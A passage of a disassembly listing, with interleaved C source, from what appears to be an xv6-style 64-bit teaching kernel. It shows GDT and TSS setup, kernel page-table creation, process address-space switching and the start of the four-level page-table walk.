ffff80000010af67: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af6a: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af6e: 83 ca 10 or $0x10,%edx
ffff80000010af71: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af74: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af78: 83 e2 9f and $0xffffff9f,%edx
ffff80000010af7b: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af7e: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af82: 83 ca 80 or $0xffffff80,%edx
ffff80000010af85: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af88: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af8c: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010af8f: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af92: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af96: 83 e2 ef and $0xffffffef,%edx
ffff80000010af99: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af9c: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010afa0: 83 e2 df and $0xffffffdf,%edx
ffff80000010afa3: 88 50 06 mov %dl,0x6(%rax)
ffff80000010afa6: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010afaa: 83 e2 bf and $0xffffffbf,%edx
ffff80000010afad: 88 50 06 mov %dl,0x6(%rax)
ffff80000010afb0: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010afb4: 83 ca 80 or $0xffffff80,%edx
ffff80000010afb7: 88 50 06 mov %dl,0x6(%rax)
ffff80000010afba: c6 40 07 00 movb $0x0,0x7(%rax)
gdt[SEG_UCODE32] = (struct segdesc) {}; // required by syscall/sysret
ffff80000010afbe: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010afc2: 48 83 c0 18 add $0x18,%rax
ffff80000010afc6: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
gdt[SEG_UDATA] = SEG(STA_W, 0, 0, APP_SEG, DPL_USER, 0);
ffff80000010afcd: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010afd1: 48 83 c0 20 add $0x20,%rax
ffff80000010afd5: 66 c7 00 00 00 movw $0x0,(%rax)
ffff80000010afda: 66 c7 40 02 00 00 movw $0x0,0x2(%rax)
ffff80000010afe0: c6 40 04 00 movb $0x0,0x4(%rax)
ffff80000010afe4: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010afe8: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010afeb: 83 ca 02 or $0x2,%edx
ffff80000010afee: 88 50 05 mov %dl,0x5(%rax)
ffff80000010aff1: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010aff5: 83 ca 10 or $0x10,%edx
ffff80000010aff8: 88 50 05 mov %dl,0x5(%rax)
ffff80000010affb: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010afff: 83 ca 60 or $0x60,%edx
ffff80000010b002: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b005: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b009: 83 ca 80 or $0xffffff80,%edx
ffff80000010b00c: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b00f: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b013: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b016: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b019: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b01d: 83 e2 ef and $0xffffffef,%edx
ffff80000010b020: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b023: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b027: 83 e2 df and $0xffffffdf,%edx
ffff80000010b02a: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b02d: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b031: 83 e2 bf and $0xffffffbf,%edx
ffff80000010b034: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b037: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b03b: 83 ca 80 or $0xffffff80,%edx
ffff80000010b03e: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b041: c6 40 07 00 movb $0x0,0x7(%rax)
gdt[SEG_UCODE] = SEG((STA_X|STA_R), 0, 0, APP_SEG, DPL_USER, 1);
ffff80000010b045: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b049: 48 83 c0 28 add $0x28,%rax
ffff80000010b04d: 66 c7 00 00 00 movw $0x0,(%rax)
ffff80000010b052: 66 c7 40 02 00 00 movw $0x0,0x2(%rax)
ffff80000010b058: c6 40 04 00 movb $0x0,0x4(%rax)
ffff80000010b05c: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b060: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b063: 83 ca 0a or $0xa,%edx
ffff80000010b066: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b069: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b06d: 83 ca 10 or $0x10,%edx
ffff80000010b070: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b073: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b077: 83 ca 60 or $0x60,%edx
ffff80000010b07a: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b07d: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b081: 83 ca 80 or $0xffffff80,%edx
ffff80000010b084: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b087: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b08b: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b08e: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b091: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b095: 83 e2 ef and $0xffffffef,%edx
ffff80000010b098: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b09b: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b09f: 83 ca 20 or $0x20,%edx
ffff80000010b0a2: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b0a5: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b0a9: 83 e2 bf and $0xffffffbf,%edx
ffff80000010b0ac: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b0af: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b0b3: 83 ca 80 or $0xffffff80,%edx
ffff80000010b0b6: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b0b9: c6 40 07 00 movb $0x0,0x7(%rax)
gdt[SEG_KCPU] = (struct segdesc) {};
ffff80000010b0bd: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b0c1: 48 83 c0 30 add $0x30,%rax
ffff80000010b0c5: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
// TSS: See IA32 SDM Figure 7-4
gdt[SEG_TSS] = SEG(STS_T64A, 0xb, addr, !APP_SEG, DPL_USER, 0);
ffff80000010b0cc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b0d0: 48 83 c0 38 add $0x38,%rax
ffff80000010b0d4: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b0d8: 89 d7 mov %edx,%edi
ffff80000010b0da: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b0de: 48 c1 ea 10 shr $0x10,%rdx
ffff80000010b0e2: 89 d6 mov %edx,%esi
ffff80000010b0e4: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b0e8: 48 c1 ea 18 shr $0x18,%rdx
ffff80000010b0ec: 89 d1 mov %edx,%ecx
ffff80000010b0ee: 66 c7 00 0b 00 movw $0xb,(%rax)
ffff80000010b0f3: 66 89 78 02 mov %di,0x2(%rax)
ffff80000010b0f7: 40 88 70 04 mov %sil,0x4(%rax)
ffff80000010b0fb: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b0ff: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b102: 83 ca 09 or $0x9,%edx
ffff80000010b105: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b108: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b10c: 83 e2 ef and $0xffffffef,%edx
ffff80000010b10f: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b112: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b116: 83 ca 60 or $0x60,%edx
ffff80000010b119: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b11c: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010b120: 83 ca 80 or $0xffffff80,%edx
ffff80000010b123: 88 50 05 mov %dl,0x5(%rax)
ffff80000010b126: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b12a: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b12d: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b130: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b134: 83 e2 ef and $0xffffffef,%edx
ffff80000010b137: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b13a: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b13e: 83 e2 df and $0xffffffdf,%edx
ffff80000010b141: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b144: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b148: 83 e2 bf and $0xffffffbf,%edx
ffff80000010b14b: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b14e: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b152: 83 ca 80 or $0xffffff80,%edx
ffff80000010b155: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b158: 88 48 07 mov %cl,0x7(%rax)
gdt[SEG_TSS+1] = SEG(0, addr >> 32, addr >> 48, 0, 0, 0);
ffff80000010b15b: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b15f: 48 83 c0 40 add $0x40,%rax
ffff80000010b163: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b167: 48 c1 ea 20 shr $0x20,%rdx
ffff80000010b16b: 41 89 d1 mov %edx,%r9d
ffff80000010b16e: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b172: 48 c1 ea 30 shr $0x30,%rdx
ffff80000010b176: 41 89 d0 mov %edx,%r8d
ffff80000010b179: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b17d: 48 c1 ea 30 shr $0x30,%rdx
ffff80000010b181: 48 c1 ea 10 shr $0x10,%rdx
ffff80000010b185: 89 d7 mov %edx,%edi
ffff80000010b187: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff80000010b18b: 48 c1 ea 20 shr $0x20,%rdx
ffff80000010b18f: 48 c1 ea 3c shr $0x3c,%rdx
ffff80000010b193: 83 e2 0f and $0xf,%edx
ffff80000010b196: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff80000010b19a: 48 c1 e9 30 shr $0x30,%rcx
ffff80000010b19e: 48 c1 e9 18 shr $0x18,%rcx
ffff80000010b1a2: 89 ce mov %ecx,%esi
ffff80000010b1a4: 66 44 89 08 mov %r9w,(%rax)
ffff80000010b1a8: 66 44 89 40 02 mov %r8w,0x2(%rax)
ffff80000010b1ad: 40 88 78 04 mov %dil,0x4(%rax)
ffff80000010b1b1: 0f b6 48 05 movzbl 0x5(%rax),%ecx
ffff80000010b1b5: 83 e1 f0 and $0xfffffff0,%ecx
ffff80000010b1b8: 88 48 05 mov %cl,0x5(%rax)
ffff80000010b1bb: 0f b6 48 05 movzbl 0x5(%rax),%ecx
ffff80000010b1bf: 83 e1 ef and $0xffffffef,%ecx
ffff80000010b1c2: 88 48 05 mov %cl,0x5(%rax)
ffff80000010b1c5: 0f b6 48 05 movzbl 0x5(%rax),%ecx
ffff80000010b1c9: 83 e1 9f and $0xffffff9f,%ecx
ffff80000010b1cc: 88 48 05 mov %cl,0x5(%rax)
ffff80000010b1cf: 0f b6 48 05 movzbl 0x5(%rax),%ecx
ffff80000010b1d3: 83 c9 80 or $0xffffff80,%ecx
ffff80000010b1d6: 88 48 05 mov %cl,0x5(%rax)
ffff80000010b1d9: 89 d1 mov %edx,%ecx
ffff80000010b1db: 83 e1 0f and $0xf,%ecx
ffff80000010b1de: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b1e2: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010b1e5: 09 ca or %ecx,%edx
ffff80000010b1e7: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b1ea: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b1ee: 83 e2 ef and $0xffffffef,%edx
ffff80000010b1f1: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b1f4: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b1f8: 83 e2 df and $0xffffffdf,%edx
ffff80000010b1fb: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b1fe: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b202: 83 e2 bf and $0xffffffbf,%edx
ffff80000010b205: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b208: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010b20c: 83 ca 80 or $0xffffff80,%edx
ffff80000010b20f: 88 50 06 mov %dl,0x6(%rax)
ffff80000010b212: 40 88 70 07 mov %sil,0x7(%rax)
lgdt((void*) gdt, (NSEGS+1) * sizeof(struct segdesc));
ffff80000010b216: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b21a: be 48 00 00 00 mov $0x48,%esi
ffff80000010b21f: 48 89 c7 mov %rax,%rdi
ffff80000010b222: 48 b8 c0 ac 10 00 00 movabs $0xffff80000010acc0,%rax
ffff80000010b229: 80 ff ff
ffff80000010b22c: ff d0 callq *%rax
ltr(SEG_TSS << 3);
ffff80000010b22e: bf 38 00 00 00 mov $0x38,%edi
ffff80000010b233: 48 b8 1b ad 10 00 00 movabs $0xffff80000010ad1b,%rax
ffff80000010b23a: 80 ff ff
ffff80000010b23d: ff d0 callq *%rax
};
ffff80000010b23f: 90 nop
ffff80000010b240: c9 leaveq
ffff80000010b241: c3 retq
ffff80000010b242 <setupkvm>:
// (directly addressable from end..P2V(PHYSTOP)).
pde_t*
setupkvm(void)
{
ffff80000010b242: f3 0f 1e fa endbr64
ffff80000010b246: 55 push %rbp
ffff80000010b247: 48 89 e5 mov %rsp,%rbp
ffff80000010b24a: 48 83 ec 10 sub $0x10,%rsp
pde_t *pml4 = (pde_t*) kalloc();
ffff80000010b24e: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b255: 80 ff ff
ffff80000010b258: ff d0 callq *%rax
ffff80000010b25a: 48 89 45 f8 mov %rax,-0x8(%rbp)
memset(pml4, 0, PGSIZE);
ffff80000010b25e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b262: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b267: be 00 00 00 00 mov $0x0,%esi
ffff80000010b26c: 48 89 c7 mov %rax,%rdi
ffff80000010b26f: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b276: 80 ff ff
ffff80000010b279: ff d0 callq *%rax
pml4[256] = v2p(kpdpt) | PTE_P | PTE_W;
ffff80000010b27b: 48 b8 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rax
ffff80000010b282: 80 ff ff
ffff80000010b285: 48 8b 00 mov (%rax),%rax
ffff80000010b288: 48 89 c7 mov %rax,%rdi
ffff80000010b28b: 48 b8 51 ad 10 00 00 movabs $0xffff80000010ad51,%rax
ffff80000010b292: 80 ff ff
ffff80000010b295: ff d0 callq *%rax
ffff80000010b297: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010b29b: 48 81 c2 00 08 00 00 add $0x800,%rdx
ffff80000010b2a2: 48 83 c8 03 or $0x3,%rax
ffff80000010b2a6: 48 89 02 mov %rax,(%rdx)
return pml4;
ffff80000010b2a9: 48 8b 45 f8 mov -0x8(%rbp),%rax
};
ffff80000010b2ad: c9 leaveq
ffff80000010b2ae: c3 retq
ffff80000010b2af <kvmalloc>:
//
// linear map the first 4GB of physical memory starting
// at 0xFFFF800000000000
void
kvmalloc(void)
{
ffff80000010b2af: f3 0f 1e fa endbr64
ffff80000010b2b3: 55 push %rbp
ffff80000010b2b4: 48 89 e5 mov %rsp,%rbp
kpml4 = (pde_t*) kalloc();
ffff80000010b2b7: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b2be: 80 ff ff
ffff80000010b2c1: ff d0 callq *%rax
ffff80000010b2c3: 48 ba 58 ad 1f 00 00 movabs $0xffff8000001fad58,%rdx
ffff80000010b2ca: 80 ff ff
ffff80000010b2cd: 48 89 02 mov %rax,(%rdx)
memset(kpml4, 0, PGSIZE);
ffff80000010b2d0: 48 b8 58 ad 1f 00 00 movabs $0xffff8000001fad58,%rax
ffff80000010b2d7: 80 ff ff
ffff80000010b2da: 48 8b 00 mov (%rax),%rax
ffff80000010b2dd: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b2e2: be 00 00 00 00 mov $0x0,%esi
ffff80000010b2e7: 48 89 c7 mov %rax,%rdi
ffff80000010b2ea: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b2f1: 80 ff ff
ffff80000010b2f4: ff d0 callq *%rax
// the kernel memory region starts at KERNBASE and up
// allocate one PDPT at the bottom of that range.
kpdpt = (pde_t*) kalloc();
ffff80000010b2f6: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b2fd: 80 ff ff
ffff80000010b300: ff d0 callq *%rax
ffff80000010b302: 48 ba 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rdx
ffff80000010b309: 80 ff ff
ffff80000010b30c: 48 89 02 mov %rax,(%rdx)
memset(kpdpt, 0, PGSIZE);
ffff80000010b30f: 48 b8 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rax
ffff80000010b316: 80 ff ff
ffff80000010b319: 48 8b 00 mov (%rax),%rax
ffff80000010b31c: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b321: be 00 00 00 00 mov $0x0,%esi
ffff80000010b326: 48 89 c7 mov %rax,%rdi
ffff80000010b329: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b330: 80 ff ff
ffff80000010b333: ff d0 callq *%rax
kpml4[PMX(KERNBASE)] = v2p(kpdpt) | PTE_P | PTE_W;
ffff80000010b335: 48 b8 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rax
ffff80000010b33c: 80 ff ff
ffff80000010b33f: 48 8b 00 mov (%rax),%rax
ffff80000010b342: 48 89 c7 mov %rax,%rdi
ffff80000010b345: 48 b8 51 ad 10 00 00 movabs $0xffff80000010ad51,%rax
ffff80000010b34c: 80 ff ff
ffff80000010b34f: ff d0 callq *%rax
ffff80000010b351: 48 ba 58 ad 1f 00 00 movabs $0xffff8000001fad58,%rdx
ffff80000010b358: 80 ff ff
ffff80000010b35b: 48 8b 12 mov (%rdx),%rdx
ffff80000010b35e: 48 81 c2 00 08 00 00 add $0x800,%rdx
ffff80000010b365: 48 83 c8 03 or $0x3,%rax
ffff80000010b369: 48 89 02 mov %rax,(%rdx)
// direct map first GB of physical addresses to KERNBASE
kpdpt[0] = 0 | PTE_PS | PTE_P | PTE_W;
ffff80000010b36c: 48 b8 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rax
ffff80000010b373: 80 ff ff
ffff80000010b376: 48 8b 00 mov (%rax),%rax
ffff80000010b379: 48 c7 00 83 00 00 00 movq $0x83,(%rax)
// direct map 4th GB of physical addresses to KERNBASE+3GB
// this is a very lazy way to map IO memory (for lapic and ioapic)
// PTE_PWT and PTE_PCD for memory mapped I/O correctness.
kpdpt[3] = 0xC0000000 | PTE_PS | PTE_P | PTE_W | PTE_PWT | PTE_PCD;
ffff80000010b380: 48 b8 60 ad 1f 00 00 movabs $0xffff8000001fad60,%rax
ffff80000010b387: 80 ff ff
ffff80000010b38a: 48 8b 00 mov (%rax),%rax
ffff80000010b38d: 48 83 c0 18 add $0x18,%rax
ffff80000010b391: b9 9b 00 00 c0 mov $0xc000009b,%ecx
ffff80000010b396: 48 89 08 mov %rcx,(%rax)
switchkvm();
ffff80000010b399: 48 b8 b9 b6 10 00 00 movabs $0xffff80000010b6b9,%rax
ffff80000010b3a0: 80 ff ff
ffff80000010b3a3: ff d0 callq *%rax
}
ffff80000010b3a5: 90 nop
ffff80000010b3a6: 5d pop %rbp
ffff80000010b3a7: c3 retq
ffff80000010b3a8 <switchuvm>:
void
switchuvm(struct proc *p)
{
ffff80000010b3a8: f3 0f 1e fa endbr64
ffff80000010b3ac: 55 push %rbp
ffff80000010b3ad: 48 89 e5 mov %rsp,%rbp
ffff80000010b3b0: 48 83 ec 20 sub $0x20,%rsp
ffff80000010b3b4: 48 89 7d e8 mov %rdi,-0x18(%rbp)
pushcli();
ffff80000010b3b8: 48 b8 85 7a 10 00 00 movabs $0xffff800000107a85,%rax
ffff80000010b3bf: 80 ff ff
ffff80000010b3c2: ff d0 callq *%rax
if(p->pgdir == 0)
ffff80000010b3c4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b3c8: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010b3cc: 48 85 c0 test %rax,%rax
ffff80000010b3cf: 75 16 jne ffff80000010b3e7 <switchuvm+0x3f>
panic("switchuvm: no pgdir");
ffff80000010b3d1: 48 bf f0 cb 10 00 00 movabs $0xffff80000010cbf0,%rdi
ffff80000010b3d8: 80 ff ff
ffff80000010b3db: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010b3e2: 80 ff ff
ffff80000010b3e5: ff d0 callq *%rax
uint *tss = (uint*) (((char*) cpu->local) + 1024);
ffff80000010b3e7: 64 48 8b 04 25 f0 ff mov %fs:0xfffffffffffffff0,%rax
ffff80000010b3ee: ff ff
ffff80000010b3f0: 48 8b 40 20 mov 0x20(%rax),%rax
ffff80000010b3f4: 48 05 00 04 00 00 add $0x400,%rax
ffff80000010b3fa: 48 89 45 f8 mov %rax,-0x8(%rbp)
const addr_t stktop = (addr_t)p->kstack + KSTACKSIZE;
ffff80000010b3fe: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b402: 48 8b 40 10 mov 0x10(%rax),%rax
ffff80000010b406: 48 05 00 10 00 00 add $0x1000,%rax
ffff80000010b40c: 48 89 45 f0 mov %rax,-0x10(%rbp)
tss[1] = (uint)stktop; // https://wiki.osdev.org/Task_State_Segment
ffff80000010b410: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b414: 48 83 c0 04 add $0x4,%rax
ffff80000010b418: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff80000010b41c: 89 10 mov %edx,(%rax)
tss[2] = (uint)(stktop >> 32);
ffff80000010b41e: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b422: 48 c1 e8 20 shr $0x20,%rax
ffff80000010b426: 48 89 c2 mov %rax,%rdx
ffff80000010b429: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b42d: 48 83 c0 08 add $0x8,%rax
ffff80000010b431: 89 10 mov %edx,(%rax)
lcr3(v2p(p->pgdir));
ffff80000010b433: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b437: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010b43b: 48 89 c7 mov %rax,%rdi
ffff80000010b43e: 48 b8 51 ad 10 00 00 movabs $0xffff80000010ad51,%rax
ffff80000010b445: 80 ff ff
ffff80000010b448: ff d0 callq *%rax
ffff80000010b44a: 48 89 c7 mov %rax,%rdi
ffff80000010b44d: 48 b8 37 ad 10 00 00 movabs $0xffff80000010ad37,%rax
ffff80000010b454: 80 ff ff
ffff80000010b457: ff d0 callq *%rax
popcli();
ffff80000010b459: 48 b8 f7 7a 10 00 00 movabs $0xffff800000107af7,%rax
ffff80000010b460: 80 ff ff
ffff80000010b463: ff d0 callq *%rax
}
ffff80000010b465: 90 nop
ffff80000010b466: c9 leaveq
ffff80000010b467: c3 retq
ffff80000010b468 <walkpgdir>:
// In 64-bit mode, the page table has four levels: PML4, PDPT, PD and PT
// For each level, we dereference the correct entry, or allocate and
// initialize entry if the PTE_P bit is not set
static pte_t *
walkpgdir(pde_t *pml4, const void *va, int alloc)
{
ffff80000010b468: f3 0f 1e fa endbr64
ffff80000010b46c: 55 push %rbp
ffff80000010b46d: 48 89 e5 mov %rsp,%rbp
ffff80000010b470: 48 83 ec 50 sub $0x50,%rsp
ffff80000010b474: 48 89 7d c8 mov %rdi,-0x38(%rbp)
ffff80000010b478: 48 89 75 c0 mov %rsi,-0x40(%rbp)
ffff80000010b47c: 89 55 bc mov %edx,-0x44(%rbp)
pml4e_t *pml4e;
pdpe_t *pdp, *pdpe;
pde_t *pde, *pd, *pgtab;
// from the PML4, find or allocate the appropriate PDP table
pml4e = &pml4[PMX(va)];
ffff80000010b47f: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010b483: 48 c1 e8 27 shr $0x27,%rax
ffff80000010b487: 25 ff 01 00 00 and $0x1ff,%eax
ffff80000010b48c: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010b493: 00
ffff80000010b494: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010b498: 48 01 d0 add %rdx,%rax
ffff80000010b49b: 48 89 45 e0 mov %rax,-0x20(%rbp)
if(*pml4e & PTE_P)
ffff80000010b49f: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010b4a3: 48 8b 00 mov (%rax),%rax
ffff80000010b4a6: 83 e0 01 and $0x1,%eax
ffff80000010b4a9: 48 85 c0 test %rax,%rax
ffff80000010b4ac: 74 23 je ffff80000010b4d1 <walkpgdir+0x69>
pdp = (pdpe_t*)P2V(PTE_ADDR(*pml4e));
ffff80000010b4ae: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010b4b2: 48 8b 00 mov (%rax),%rax
ffff80000010b4b5: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b4bb: 48 89 c2 mov %rax,%rdx
ffff80000010b4be: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010b4c5: 80 ff ff
ffff80000010b4c8: 48 01 d0 add %rdx,%rax
ffff80000010b4cb: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010b4cf: eb 63 jmp ffff80000010b534 <walkpgdir+0xcc>
else {
if(!alloc || (pdp = (pdpe_t*)kalloc()) == 0)
ffff80000010b4d1: 83 7d bc 00 cmpl $0x0,-0x44(%rbp)
ffff80000010b4d5: 74 17 je ffff80000010b4ee <walkpgdir+0x86>
ffff80000010b4d7: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b4de: 80 ff ff
ffff80000010b4e1: ff d0 callq *%rax
ffff80000010b4e3: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010b4e7: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff80000010b4ec: 75 0a jne ffff80000010b4f8 <walkpgdir+0x90>
return 0;
ffff80000010b4ee: b8 00 00 00 00 mov $0x0,%eax
ffff80000010b4f3: e9 bf 01 00 00 jmpq ffff80000010b6b7 <walkpgdir+0x24f>
memset(pdp, 0, PGSIZE);
ffff80000010b4f8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b4fc: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b501: be 00 00 00 00 mov $0x0,%esi
ffff80000010b506: 48 89 c7 mov %rax,%rdi
ffff80000010b509: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b510: 80 ff ff
ffff80000010b513: ff d0 callq *%rax
*pml4e = V2P(pdp) | PTE_P | PTE_W | PTE_U;
ffff80000010b515: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b519: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010b520: 80 00 00
ffff80000010b523: 48 01 d0 add %rdx,%rax
ffff80000010b526: 48 83 c8 07 or $0x7,%rax
ffff80000010b52a: 48 89 c2 mov %rax,%rdx
ffff80000010b52d: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010b531: 48 89 10 mov %rdx,(%rax)
}
//from the PDP, find or allocate the appropriate PD (page directory)
pdpe = &pdp[PDPX(va)];
ffff80000010b534: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010b538: 48 c1 e8 1e shr $0x1e,%rax
ffff80000010b53c: 25 ff 01 00 00 and $0x1ff,%eax
ffff80000010b541: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010b548: 00
ffff80000010b549: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b54d: 48 01 d0 add %rdx,%rax
ffff80000010b550: 48 89 45 d8 mov %rax,-0x28(%rbp)
if(*pdpe & PTE_P)
ffff80000010b554: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b558: 48 8b 00 mov (%rax),%rax
ffff80000010b55b: 83 e0 01 and $0x1,%eax
ffff80000010b55e: 48 85 c0 test %rax,%rax
ffff80000010b561: 74 23 je ffff80000010b586 <walkpgdir+0x11e>
pd = (pde_t*)P2V(PTE_ADDR(*pdpe));
ffff80000010b563: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b567: 48 8b 00 mov (%rax),%rax
ffff80000010b56a: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
